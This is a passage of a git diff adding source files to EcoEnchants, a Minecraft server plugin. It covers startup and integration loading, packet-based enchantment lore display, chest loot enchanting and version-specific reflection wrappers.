§aEcoEnchants"); + Bukkit.getLogger().info("Made by §aAuxilor§f - willfp.com"); + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("=========================================="); + + /* + Check for paper + */ + + boolean isPapermc = false; + try { + isPapermc = Class.forName("com.destroystokyo.paper.VersionHistoryManager$VersionData") != null; + } catch (ClassNotFoundException ignored) {} + + if (!isPapermc) { + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("----------------------------"); + Bukkit.getLogger().info(""); + Bukkit.getLogger().severe("You don't seem to be running paper!"); + Bukkit.getLogger().severe("Paper is strongly recommended for all servers,"); + Bukkit.getLogger().severe("and enchantments like Drill may not function properly without it"); + Bukkit.getLogger().severe("Download Paper from §fhttps://papermc.io"); + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("----------------------------"); + Bukkit.getLogger().info(""); + } + + /* + Load Configs + */ + + Bukkit.getLogger().info("Loading Configs..."); + ConfigManager.updateConfigs(); + EnchantLore.update(); + Main.getInstance().saveResource("README.txt", true); + Bukkit.getLogger().info(""); + + /* + Load ProtocolLib + */ + + Bukkit.getLogger().info("Loading ProtocolLib..."); + Main.getInstance().protocolManager = ProtocolLibrary.getProtocolManager(); + Main.getInstance().protocolManager.addPacketListener(new DisplayPacketAdapter()); + + /* + Load land management support + */ + + Bukkit.getLogger().info("Scheduling Integration Loading..."); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + + Bukkit.getLogger().info("Loading Integrations..."); + + Main.hasWG = Bukkit.getPluginManager().isPluginEnabled("WorldGuard"); + if(Main.hasWG) Bukkit.getLogger().info("WorldGuard: §aENABLED"); + else Bukkit.getLogger().info("WorldGuard: §9DISABLED"); + + Main.hasGP = Bukkit.getPluginManager().isPluginEnabled("GriefPrevention"); + if(Main.hasGP) Bukkit.getLogger().info("GriefPrevention: §aENABLED"); + else Bukkit.getLogger().info("GriefPrevention: §9DISABLED"); + + Main.hasFactionsUUID = Bukkit.getPluginManager().isPluginEnabled("FactionsUUID"); + if(Main.hasFactionsUUID) Bukkit.getLogger().info("FactionsUUID: §aENABLED"); + else Bukkit.getLogger().info("FactionsUUID: §9DISABLED"); + + Main.hasTowny = Bukkit.getPluginManager().isPluginEnabled("Towny"); + if(Main.hasTowny) Bukkit.getLogger().info("Towny: §aENABLED"); + else Bukkit.getLogger().info("Towny: §9DISABLED"); + + Main.hasLands = Bukkit.getPluginManager().isPluginEnabled("Lands"); + if(Main.hasLands) Bukkit.getLogger().info("Lands: §aENABLED"); + else Bukkit.getLogger().info("Lands: §9DISABLED"); + + Main.hasAE = Bukkit.getPluginManager().isPluginEnabled("AdvancedEnchantments"); + if(Main.hasAE) Bukkit.getLogger().info("AdvancedEnchantments: §aENABLED"); + else Bukkit.getLogger().info("AdvancedEnchantments: §9DISABLED"); + + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("Loading Anticheat Integrations..."); + + if(Bukkit.getPluginManager().isPluginEnabled("AAC")) { + com.willfp.ecoenchants.anticheat.AnticheatManager.registerAnticheat(new AnticheatAAC()); + Bukkit.getLogger().info("AAC: §aENABLED"); + } else { + Bukkit.getLogger().info("AAC: §9DISABLED"); + } + + if(Bukkit.getPluginManager().isPluginEnabled("Matrix")) { + com.willfp.ecoenchants.anticheat.AnticheatManager.registerAnticheat(new AnticheatMatrix()); + Bukkit.getLogger().info("Matrix: §aENABLED"); + } else { + Bukkit.getLogger().info("Matrix: §9DISABLED"); + } + + if(Bukkit.getPluginManager().isPluginEnabled("NoCheatPlus")) { + com.willfp.ecoenchants.anticheat.AnticheatManager.registerAnticheat(new AnticheatAAC()); + Bukkit.getLogger().info("NCP: §aENABLED"); + } else { + Bukkit.getLogger().info("NCP: §9DISABLED"); + } + + if(Bukkit.getPluginManager().isPluginEnabled("Spartan")) { + com.willfp.ecoenchants.anticheat.AnticheatManager.registerAnticheat(new AnticheatAAC()); + Bukkit.getLogger().info("Spartan: §aENABLED"); + } else { + Bukkit.getLogger().info("Spartan: §9DISABLED"); + } + + Bukkit.getLogger().info(""); + + }, 1); + + Bukkit.getLogger().info(""); + + /* + Load NMS + */ + + Bukkit.getLogger().info("Loading NMS APIs..."); + + if(!Target.Applicable.ALL.getMaterials().isEmpty()) { + Bukkit.getLogger().info("Targets: §aSUCCESS"); + } else { + Bukkit.getLogger().info("Targets: §cFAILURE"); + Bukkit.getLogger().severe("§cAborting..."); + Bukkit.getPluginManager().disablePlugin(Main.getInstance()); + } + + if(Cooldown.init()) { + Bukkit.getLogger().info("Cooldown: §aSUCCESS"); + } else { + Bukkit.getLogger().info("Cooldown: §cFAILURE"); + Bukkit.getLogger().severe("§cAborting..."); + Bukkit.getPluginManager().disablePlugin(Main.getInstance()); + } + + if(TridentStack.init()) { + Bukkit.getLogger().info("Trident API: §aSUCCESS"); + } else { + Bukkit.getLogger().info("Trident API: §cFAILURE"); + Bukkit.getLogger().severe("§cAborting..."); + Bukkit.getPluginManager().disablePlugin(Main.getInstance()); + } + + if(BlockBreak.init()) { + Bukkit.getLogger().info("Block Break: §aSUCCESS"); + } else { + Bukkit.getLogger().info("Block Break: §cFAILURE"); + Bukkit.getLogger().severe("§cAborting..."); + Bukkit.getPluginManager().disablePlugin(Main.getInstance()); + } + + Bukkit.getLogger().info(""); + + /* + Register Events + */ + + Bukkit.getLogger().info("Registering Events..."); + Bukkit.getPluginManager().registerEvents(new ArmorListener(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new DispenserArmorListener(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new PlayerJoinListener(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new EnchantingListeners(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new GrindstoneListeners(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new AnvilListeners(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new EntityDeathByEntityListeners(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new NaturalExpGainListeners(), Main.getInstance()); + Bukkit.getPluginManager().registerEvents(new VillagerListeners(), Main.getInstance()); + Bukkit.getLogger().info(""); + + /* + Add Block Populators + */ + + Bukkit.getLogger().info("Scheduling Adding Block Populators..."); + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + Bukkit.getServer().getWorlds().forEach((world -> { + world.getPopulators().add(new LootPopulator()); + })); + }, 1); + Bukkit.getLogger().info(""); + + /* + Load Extensions + */ + + Bukkit.getLogger().info("Loading Extensions..."); + + ExtensionManager.loadExtensions(); + if(ExtensionManager.getLoadedExtensions().isEmpty()) { + Bukkit.getLogger().info("§cNo extensions found"); + } else { + Bukkit.getLogger().info("Extensions Loaded:"); + ExtensionManager.getLoadedExtensions().forEach((extension, name) -> { + Bukkit.getLogger().info("- " + name); + }); + } + Bukkit.getLogger().info(""); + + /* + Create enchantment config files (for first time use) + */ + + Bukkit.getLogger().info("Creating Enchantment Configs..."); + ConfigManager.updateEnchantmentConfigs(); + Bukkit.getLogger().info(""); + + /* + Load all enchantments and rarities + */ + + Bukkit.getLogger().info("Adding Enchantments to API..."); + EnchantmentRarity.update(); + if(EnchantmentRarity.getAll().size() == 0) { + Bukkit.getLogger().severe("§cError loading rarities! Aborting..."); + Bukkit.getPluginManager().disablePlugin(Main.getInstance()); + return; + } else { + Bukkit.getLogger().info(EnchantmentRarity.getAll().size() + " Rarities Loaded:"); + EnchantmentRarity.getAll().forEach((rarity -> { + Bukkit.getLogger().info("- " + rarity.getName() + ": Table Probability=" + rarity.getProbability() + ", Minimum Level=" + rarity.getMinimumLevel() + ", Villager Probability=" + rarity.getVillagerProbability() + ", Loot Probability=" + rarity.getLootProbability()); + })); + } + Bukkit.getLogger().info(""); + + if (EcoEnchants.getAll().size() == 0) { + Bukkit.getLogger().severe("§cError adding enchantments! Aborting..."); + Bukkit.getPluginManager().disablePlugin(Main.getInstance()); + return; + } else { + Bukkit.getLogger().info(EcoEnchants.getAll().size() + " Enchantments Loaded:"); + EcoEnchants.getAll().forEach((ecoEnchant -> { + if(ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) { + Bukkit.getLogger().info(ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("special-color")) + "- " + ecoEnchant.getName() + ": " + ecoEnchant.getKey().toString()); + } else if(ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT)) { + Bukkit.getLogger().info(ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("artifact-color")) + "- " + ecoEnchant.getName() + ": " + ecoEnchant.getKey().toString()); + } else { + Bukkit.getLogger().info("- " + ecoEnchant.getName() + ": " + ecoEnchant.getKey().toString()); + } + })); + } + Bukkit.getLogger().info(""); + + /* + Load enchantment configs + */ + + Bukkit.getLogger().info("Loading Enchantment Configs..."); + ConfigManager.updateEnchantmentConfigs(); + Bukkit.getLogger().info(""); + + /* + Plugin Conflicts + */ + + Bukkit.getLogger().info("Checking Plugin Conflicts..."); + + if(Bukkit.getPluginManager().getPlugin("EnchantmentNumbers") != null) { + Bukkit.getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("EnchantmentNumbers")); + Bukkit.getLogger().severe("EnchantmentNumbers conflicts with EcoEnchants"); + Bukkit.getLogger().severe("It has been disabled. Please uninstall it!"); + } + Bukkit.getLogger().info(""); + + /* + Register Enchantments + */ + + Bukkit.getLogger().info("Registering Enchantments..."); + EcoEnchants.update(); + EcoEnchants.update(); + Bukkit.getLogger().info(""); + + /* + Register Enchantment Listeners + */ + + Bukkit.getLogger().info("Registering Enchantment Listeners..."); + EcoEnchants.getAll().forEach((ecoEnchant -> { + if(!ecoEnchant.isDisabled()) { + Bukkit.getPluginManager().registerEvents(ecoEnchant, Main.getInstance()); + } + })); + Bukkit.getLogger().info(""); + + /* + Register Enchantment Tasks + */ + + Bukkit.getLogger().info("Registering Enchantment Tasks..."); + EcoEnchants.getAll().forEach((ecoEnchant -> { + if(ecoEnchant instanceof EcoRunnable) { + Bukkit.getScheduler().scheduleSyncRepeatingTask(Main.getInstance(), (Runnable) ecoEnchant, 5, ((EcoRunnable) ecoEnchant).getTime()); + } + })); + Bukkit.getLogger().info(""); + + /* + Load Commands + */ + + Bukkit.getLogger().info("Loading Commands..."); + Bukkit.getPluginCommand("ecoreload").setExecutor(new CommandEcoreload()); + Bukkit.getPluginCommand("ecodebug").setExecutor(new CommandEcodebug()); + Bukkit.getPluginCommand("ecoskip").setExecutor(new CommandEcoskip()); + Bukkit.getPluginCommand("enchantinfo").setExecutor(new CommandEnchantinfo()); + Bukkit.getLogger().info(""); + + /* + Start bStats + */ + + Bukkit.getLogger().info("Hooking into bStats..."); + new Metrics(Main.getInstance(), 7666); + Bukkit.getLogger().info(""); + + /* + Start update checker + */ + + + new UpdateChecker(Main.getInstance(), 79573).getVersion((version) -> { + DefaultArtifactVersion currentVersion = new DefaultArtifactVersion(Main.getInstance().getDescription().getVersion()); + DefaultArtifactVersion mostRecentVersion = new DefaultArtifactVersion(version); + Bukkit.getLogger().info("----------------------------"); + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("EcoEnchants Updater"); + Bukkit.getLogger().info(""); + if (currentVersion.compareTo(mostRecentVersion) > 0 || currentVersion.equals(mostRecentVersion)) { + Bukkit.getLogger().info("§aEcoEnchants is up to date! (Version " + Main.getInstance().getDescription().getVersion() + ")"); + } else { + Main.outdated = true; + Main.newVersion = version; + + Bukkit.getScheduler().runTaskTimer(Main.getInstance(), () -> { + Bukkit.getLogger().info("§6EcoEnchants is out of date! (Version " + Main.getInstance().getDescription().getVersion() + ")"); + Bukkit.getLogger().info("§6The newest version is §f" + version); + Bukkit.getLogger().info("§6Download the new version here: §fhttps://www.spigotmc.org/resources/ecoenchants.79573/"); + }, 0, 36000); + } + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("----------------------------"); + }); + + /* + Finish + */ + + Bukkit.getLogger().info("Loaded §aEcoEnchants!"); + } + + /** + * Called by {@link Main#onDisable()} + */ + public static void unload() { + Bukkit.getLogger().info("§cDisabling EcoEnchants..."); + Bukkit.getLogger().info("Removing Block Populators..."); + Bukkit.getServer().getWorlds().forEach((world -> { + List populators = new ArrayList<>(world.getPopulators()); + populators.forEach((blockPopulator -> { + if(blockPopulator instanceof LootPopulator) { + world.getPopulators().remove(blockPopulator); + } + })); + })); + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("§cUnloading Extensions..."); + ExtensionManager.unloadExtensions(); + Bukkit.getLogger().info("§fBye! :)"); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/lore/DisplayPacketAdapter.java b/Plugin/src/main/java/com/willfp/ecoenchants/lore/DisplayPacketAdapter.java new file mode 100644 index 00000000..582d70d2 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/lore/DisplayPacketAdapter.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.lore; + +import com.comphenix.protocol.PacketType; +import com.comphenix.protocol.events.PacketAdapter; +import com.comphenix.protocol.events.PacketEvent; +import com.comphenix.protocol.events.PacketListener; +import com.willfp.ecoenchants.Main; +import org.bukkit.entity.Player; +import org.bukkit.plugin.Plugin; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +public class DisplayPacketAdapter extends PacketAdapter { + private static final List packets = Arrays.asList( + PacketType.Play.Server.WINDOW_ITEMS, + PacketType.Play.Server.SET_SLOT, + PacketType.Play.Client.SET_CREATIVE_SLOT + ); + + public DisplayPacketAdapter() { + super(Main.getInstance(), packets); + } + + @Override + public void onPacketSending(PacketEvent event) { + if(event.getPacket() == null) return; + + PacketType packetType = event.getPacketType(); + if (PacketType.Play.Server.WINDOW_ITEMS.equals(packetType)) { + event.getPacket().getItemListModifier().modify(0, (itemStacks) -> { + itemStacks.forEach(EnchantLore::convertEnchantsToLore); + return itemStacks; + }); + } else if (PacketType.Play.Server.SET_SLOT.equals(packetType)) { + event.getPacket().getItemModifier().modify(0, (item) -> { + item = EnchantLore.convertEnchantsToLore(item); + return item; + }); + } + } + + @Override + public void onPacketReceiving(PacketEvent event) { + if(event.getPacket() == null) return; + + if(!event.getPacketType().equals(PacketType.Play.Client.SET_CREATIVE_SLOT)) return; + + event.getPacket().getItemModifier().modify(0, (item) -> { + item = EnchantLore.convertEnchantsToLore(item); + return item; + }); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/lore/EnchantLore.java b/Plugin/src/main/java/com/willfp/ecoenchants/lore/EnchantLore.java new file mode 100644 index 00000000..94628963 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/lore/EnchantLore.java @@ -0,0 +1,259 @@ +package com.willfp.ecoenchants.lore; + +import com.google.common.collect.Lists; +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.Numeral; +import n3kas.ae.api.AEAPI; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.NamespacedKey; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemFlag; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.inventory.meta.ItemMeta; +import org.bukkit.persistence.PersistentDataType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * All methods and fields pertaining to showing players the enchantments on their items. + */ +public class EnchantLore { + + /** + * The meta key of the length of enchantments in lore + */ + private static final NamespacedKey key = new NamespacedKey(Main.getInstance(), "ecoenchantlore-len"); + + /** + * The meta key of the length of advancedenchantments enchantments in lore + */ + private static final NamespacedKey keyAE = new NamespacedKey(Main.getInstance(), "ecoenchantlore-aelen"); + + /** + * The meta key to function like {@link ItemFlag#HIDE_ENCHANTS} + */ + public static final NamespacedKey keySkip = new NamespacedKey(Main.getInstance(), "ecoenchantlore-skip"); + + + private static String normalColor; + private static String curseColor; + private static String specialColor; + private static String artifactColor; + private static String descriptionColor; + + private static int numbersThreshold; + private static boolean useNumerals; + + private static int describeThreshold; + private static boolean useDescribe; + + private static int shrinkThreshold; + private static int shrinkPerLine; + private static boolean useShrink; + + /** + * Update config values + */ + public static void update() { + descriptionColor = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("description-color")); + curseColor = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("curse-color")); + specialColor = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("special-color")); + artifactColor = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("artifact-color")); + normalColor = ChatColor.translateAlternateColorCodes('&', ConfigManager.getLang().getString("not-curse-color")); + + useNumerals = ConfigManager.getConfig().getBool("lore.use-numerals"); + numbersThreshold = ConfigManager.getConfig().getInt("lore.use-numbers-above-threshold"); + + describeThreshold = ConfigManager.getConfig().getInt("lore.describe.before-lines"); + useDescribe = ConfigManager.getConfig().getBool("lore.describe.enabled"); + + shrinkThreshold = ConfigManager.getConfig().getInt("lore.shrink.after-lines"); + useShrink = ConfigManager.getConfig().getBool("lore.shrink.enabled"); + shrinkPerLine = ConfigManager.getConfig().getInt("lore.shrink.maximum-per-line"); + } + + /** + * Show all enchantments in item lore + * @param item The item to update + * @return The item, updated + */ + public static ItemStack convertEnchantsToLore(ItemStack item) { + if(item == null) return null; + + ItemStack oldItem = item.clone(); + + if(!Target.Applicable.ALL.getMaterials().contains(item.getType())) + return oldItem; + + ItemMeta meta = item.getItemMeta(); + List itemLore = new ArrayList<>(); + + int loreStart = 0; + if(Main.hasAE) { + loreStart = AEAPI.getEnchantmentsOnItem(item).size(); + } + + if(meta == null) return oldItem; + + if(meta.getPersistentDataContainer().has(keySkip, PersistentDataType.INTEGER)) + return item; + + if(meta.hasLore()) + itemLore = meta.getLore(); + + List normalLore = new ArrayList<>(); + List curseLore = new ArrayList<>(); + + List enchantLore = new ArrayList<>(); + + try { + if (meta.getPersistentDataContainer().has(key, PersistentDataType.INTEGER)) { + int enchantLoreLength = meta.getPersistentDataContainer().get(key, PersistentDataType.INTEGER); + int loreEnd = loreStart; + if (meta.getPersistentDataContainer().has(keyAE, PersistentDataType.INTEGER)) { + int oldAEenchantLoreLength = meta.getPersistentDataContainer().get(keyAE, PersistentDataType.INTEGER); + loreEnd += oldAEenchantLoreLength; + } + if(itemLore.size() >= loreStart + enchantLoreLength + loreEnd) { + itemLore.subList(loreStart, enchantLoreLength + loreEnd).clear(); + } + } + } catch (NullPointerException ignored) {} + + if(Main.hasAE) { + int totalAE = AEAPI.getEnchantmentsOnItem(item).size(); + meta.getPersistentDataContainer().set(key, PersistentDataType.INTEGER, totalAE); + } + + Map enchantments; + List forRemoval = new ArrayList<>(); + + if(meta instanceof EnchantmentStorageMeta) { + enchantments = ((EnchantmentStorageMeta) meta).getStoredEnchants(); + } else { + enchantments = meta.getEnchants(); + } + + enchantments.forEach(((enchantment, integer) -> { + boolean isEcoEnchant = EcoEnchants.getFromEnchantment(enchantment) != null; + + String name; + String color; + List description; + + EcoEnchant.EnchantmentType type; + + if(enchantment.isCursed()) type = EcoEnchant.EnchantmentType.CURSE; + else type = EcoEnchant.EnchantmentType.NORMAL; + + if(isEcoEnchant) { + type = EcoEnchants.getFromEnchantment(enchantment).getType(); + } + + boolean isMaxLevelOne = false; + if(enchantment.getMaxLevel() == 1 && integer == 1) isMaxLevelOne = true; + + switch(type) { + case ARTIFACT: + color = artifactColor; + break; + case SPECIAL: + color = specialColor; + break; + case CURSE: + color = curseColor; + break; + default: + color = normalColor; + break; + } + + if(isEcoEnchant) { + name = enchantment.getName(); + description = EcoEnchants.getFromEnchantment(enchantment).getDescription(); + description.replaceAll(line -> descriptionColor + line); + if(EcoEnchants.getFromEnchantment(enchantment).isDisabled()) forRemoval.add(enchantment); + } else { + name = ConfigManager.getLang().getString("vanilla." + enchantment.getKey().getKey() + ".name"); + description = Arrays.asList(WordUtils.wrap(ConfigManager.getLang().getString("vanilla." + enchantment.getKey().getKey() + ".description"), ConfigManager.getConfig().getInt("lore.describe.wrap"), "\n", false).split("\\r?\\n")); + description.replaceAll(line -> descriptionColor + line); + } + + if(!(isMaxLevelOne || type == EcoEnchant.EnchantmentType.CURSE)) { + if (useNumerals && item.getEnchantmentLevel(enchantment) < numbersThreshold) { + name += " " + Numeral.getNumeral(integer); + } else { + name += " " + integer; + } + } + + boolean describe = false; + if(enchantments.size() <= describeThreshold && useDescribe) { + describe = true; + } + + if(type == EcoEnchant.EnchantmentType.CURSE) { + curseLore.add(color + name); + if(describe) curseLore.addAll(description); + } + else { + normalLore.add(color + name); + if(describe) normalLore.addAll(description); + } + })); + + List combinedLore = new ArrayList<>(); + combinedLore.addAll(normalLore); + combinedLore.addAll(curseLore); + + if (useShrink && (enchantments.size() > shrinkThreshold)) { + List> partitionedCombinedLoreList = Lists.partition(combinedLore, shrinkPerLine); + partitionedCombinedLoreList.forEach((list) -> { + StringBuilder builder = new StringBuilder(); + for (String s : list) { + builder.append(s); + builder.append(", "); + } + String line = builder.toString(); + line = line.substring(0, line.length() - 2); + enchantLore.add(line); + }); + } else { + enchantLore.addAll(combinedLore); + } + + itemLore.addAll(loreStart, enchantLore); + + if (meta instanceof EnchantmentStorageMeta) { + EnchantmentStorageMeta metaBook = (EnchantmentStorageMeta) meta; + if(!metaBook.getStoredEnchants().equals(((EnchantmentStorageMeta) oldItem.getItemMeta()).getStoredEnchants())) return oldItem; + forRemoval.forEach((metaBook::removeStoredEnchant)); + metaBook.addItemFlags(ItemFlag.HIDE_POTION_EFFECTS); // Thanks ShaneBee! + metaBook.addItemFlags(ItemFlag.HIDE_ENCHANTS); // Here just in case + metaBook.setLore(itemLore); + metaBook.getPersistentDataContainer().set(key, PersistentDataType.INTEGER, enchantLore.size()); + item.setItemMeta(metaBook); + } else { + if(!meta.getEnchants().equals(oldItem.getItemMeta().getEnchants())) return oldItem; + forRemoval.forEach((meta::removeEnchant)); + meta.addItemFlags(ItemFlag.HIDE_ENCHANTS); + meta.setLore(itemLore); + meta.getPersistentDataContainer().set(key, PersistentDataType.INTEGER, enchantLore.size()); + item.setItemMeta(meta); + } + + return item; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/naturalloot/LootPopulator.java b/Plugin/src/main/java/com/willfp/ecoenchants/naturalloot/LootPopulator.java new file mode 100644 index 00000000..b04bc66c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/naturalloot/LootPopulator.java @@ -0,0 +1,118 @@ +package com.willfp.ecoenchants.naturalloot; + +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.lore.EnchantLore; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.Bias; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Chunk; +import org.bukkit.Material; +import org.bukkit.World; +import org.bukkit.block.Block; +import org.bukkit.block.BlockState; +import org.bukkit.block.Chest; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.generator.BlockPopulator; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.inventory.meta.ItemMeta; +import org.jetbrains.annotations.NotNull; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.Random; +import java.util.concurrent.atomic.AtomicBoolean; + +public class LootPopulator extends BlockPopulator { + public void populate(@NotNull World world, @NotNull Random random, @NotNull Chunk chunk) { + if(!ConfigManager.getConfig().getBool("loot.enabled")) + return; + + for(BlockState state : chunk.getTileEntities()) { + Block block = state.getBlock(); + if(!(block.getState() instanceof Chest)) continue; + + Chest chestState = (Chest) block.getState(); + Inventory inventory = chestState.getBlockInventory(); + + for(ItemStack item : inventory) { + if(item == null) continue; + if(!Target.Applicable.ALL.getMaterials().contains(item.getType())) continue; + if(item.getType().equals(Material.BOOK)) continue; + + HashMap toAdd = new HashMap<>(); + + ArrayList enchantments = new ArrayList<>(EcoEnchants.getAll()); + Collections.shuffle(enchantments); // Prevent list bias towards early enchantments like telekinesis + + double multiplier = 0.01; + if (Target.Applicable.BOOK.getMaterials().contains(item.getType())) { + multiplier /= ConfigManager.getConfig().getInt("loot.book-times-less-likely"); + } + + if (ConfigManager.getConfig().getBool("loot.reduce-probability.enabled")) { + multiplier /= ConfigManager.getConfig().getDouble("loot.reduce-probability.factor"); + } + + for (EcoEnchant enchantment : enchantments) { + if(enchantment == null || enchantment.getRarity() == null) continue; + + if (Rand.randFloat(0, 1) > enchantment.getRarity().getLootProbability() * multiplier) + continue; + if (!enchantment.canGetFromLoot()) + continue; + if(!enchantment.canEnchantItem(item)) + continue; + + AtomicBoolean anyConflicts = new AtomicBoolean(false); + toAdd.forEach((enchant, integer) -> { + if (enchantment.conflictsWithAny(toAdd.keySet())) anyConflicts.set(true); + if (enchant.conflictsWith(enchantment)) anyConflicts.set(true); + + EcoEnchant ecoEnchant = EcoEnchants.getFromEnchantment(enchant); + if (enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL) && ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) anyConflicts.set(true); + if (enchantment.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT) && ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT)) anyConflicts.set(true); + }); + if (anyConflicts.get()) continue; + + int level; + + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) { + double enchantlevel1 = Rand.randFloat(0, 1); + double enchantlevel2 = Bias.bias(enchantlevel1, ConfigManager.getConfig().getDouble("enchanting-table.special-bias")); + double enchantlevel3 = 1 / (double) enchantment.getMaxLevel(); + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } else { + double enchantlevel2 = Rand.triangularDistribution(0, 1, 1); + double enchantlevel3 = 1 / (double) enchantment.getMaxLevel(); + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } + + toAdd.put(enchantment, level); + + if (ConfigManager.getConfig().getBool("loot.reduce-probability.enabled")) { + multiplier /= ConfigManager.getConfig().getDouble("loot.reduce-probability.factor"); + } + } + + if(item.getItemMeta() instanceof EnchantmentStorageMeta) { + EnchantmentStorageMeta meta = (EnchantmentStorageMeta) item.getItemMeta(); + toAdd.forEach(((enchantment, integer) -> { + meta.addStoredEnchant(enchantment, integer, false); + })); + item.setItemMeta(meta); + } else { + ItemMeta meta = item.getItemMeta(); + toAdd.forEach(((enchantment, integer) -> { + meta.addEnchant(enchantment, integer, false); + })); + item.setItemMeta(meta); + } + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java new file mode 100644 index 00000000..5aa4007c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java @@ -0,0 +1,33 @@ +package com.willfp.ecoenchants.nms; + + +import com.willfp.ecoenchants.API.BlockBreakWrapper; +import org.bukkit.Bukkit; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.codehaus.plexus.util.reflection.ReflectionManager; + +public class BlockBreak { + private static BlockBreakWrapper blockBreakWrapper; + + private static final String version = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; + + public static boolean init() { + try { + ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".BlockBreak"); + final Class class2 = Class.forName("com.willfp.ecoenchants." + version + ".BlockBreak"); + if (BlockBreakWrapper.class.isAssignableFrom(class2)) { + blockBreakWrapper = (BlockBreakWrapper) class2.getConstructor().newInstance(); + } + } catch (Exception e) { + e.printStackTrace(); + blockBreakWrapper = null; + } + return blockBreakWrapper != null; + } + + public static void breakBlock(Player player, Block block) { + assert blockBreakWrapper != null; + blockBreakWrapper.breakBlock(player, block); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java new file mode 100644 index 00000000..d40f840e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java @@ -0,0 +1,32 @@ +package com.willfp.ecoenchants.nms; + + +import com.willfp.ecoenchants.API.CooldownWrapper; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.codehaus.plexus.util.reflection.ReflectionManager; + +public class Cooldown { + private static CooldownWrapper cooldown; + + private static final String version = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; + + public static boolean init() { + try { + ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".Cooldown"); + final Class class2 = Class.forName("com.willfp.ecoenchants." + version + ".Cooldown"); + if (CooldownWrapper.class.isAssignableFrom(class2)) { + cooldown = (CooldownWrapper) class2.getConstructor().newInstance(); + } + } catch (Exception e) { + e.printStackTrace(); + cooldown = null; + } + return cooldown != null; + } + + public static double getCooldown(Player player) { + assert cooldown != null; + return cooldown.getAttackCooldown(player); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java new file mode 100644 index 00000000..964986e2 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java @@ -0,0 +1,35 @@ +package com.willfp.ecoenchants.nms; + + +import com.willfp.ecoenchants.API.NMSEnchantManagerWrapper; +import org.bukkit.Bukkit; +import 